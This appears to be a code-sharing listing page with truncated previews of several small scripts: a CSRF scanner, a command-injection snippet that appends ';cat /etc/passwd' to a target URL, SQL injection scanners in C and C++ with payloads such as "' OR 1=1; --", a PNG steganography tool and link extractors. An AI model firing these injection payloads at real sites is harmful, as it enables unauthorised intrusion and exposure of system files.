This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
url=input("\033[92m Enter URL: ") | |
def csrf_scanner(url, payload): | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Referer': url | |
} | |
response = requests.post(url, data=payload, headers=headers) | |
soup = BeautifulSoup(response.text, 'html.parser') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests #pip install requests | |
import re #pip install re | |
url=input("Enter URL: ") | |
def inject_command(url): | |
command = "cat /etc/passwd" | |
injected_url = url + ";" + command | |
return injected_url | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <string> | |
#include <vector> | |
#include <curl/curl.h> | |
void scan(const std::string &url) | |
{ | |
// These are common SQL injection payloads | |
std::vector<std::string> payloads = { | |
"' OR 1=1; --", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <curl/curl.h> | |
void scan(char *url) | |
{ | |
// These are common SQL injection payloads | |
char *payloads[] = { | |
"' OR 1=1; --", | |
"' OR '1'='1", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'chunky_png' | |
def hide_message(input_image, output_image, message) | |
# Open the input image | |
image = ChunkyPNG::Image.from_file(input_image) | |
# Convert the message to binary | |
binary_message = message.unpack("B*").first | |
# Check if the message is too long to fit in the image |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<style> | |
#drop-area { | |
border: 2px dashed #ccc; | |
border-radius: 20px; | |
text-align: center; | |
padding: 50px; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
# define the URL to extract links from | |
url = 'https://www.example.com/' | |
# make a request to the URL | |
response = requests.get(url) | |
# parse the HTML content using BeautifulSoup |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <curl/curl.h> | |
#include <libxml/HTMLparser.h> | |
// callback function for libxml2 to handle the start of a new element | |
void start_element(void *ctx, const xmlChar *name, const xmlChar **attrs) { | |
// check if the element is an anchor tag | |
if (strcmp((char*)name, "a") == 0) { | |
// loop through the attribute list to find the href attribute | |
for (int i = 0; attrs[i] != NULL; i += 2) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <curl/curl.h> | |
#include <libxml/HTMLparser.h> | |
// callback function for libxml2 to handle the start of a new element | |
void start_element(void *ctx, const xmlChar *name, const xmlChar **attrs) { | |
// check if the element is an anchor tag | |
if (strcmp((char*)name, "a") == 0) { | |
// loop through the attribute list to find the href attribute | |
for (int i = 0; attrs[i] != NULL; i += 2) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use Mojo::UserAgent; | |
use Mojo::DOM; | |
# prompt the user for the URL to extract links from | |
print "Enter URL: "; | |
my $url = <STDIN>; | |
chomp $url; | |
# create a user agent object | |
my $ua = Mojo::UserAgent->new; |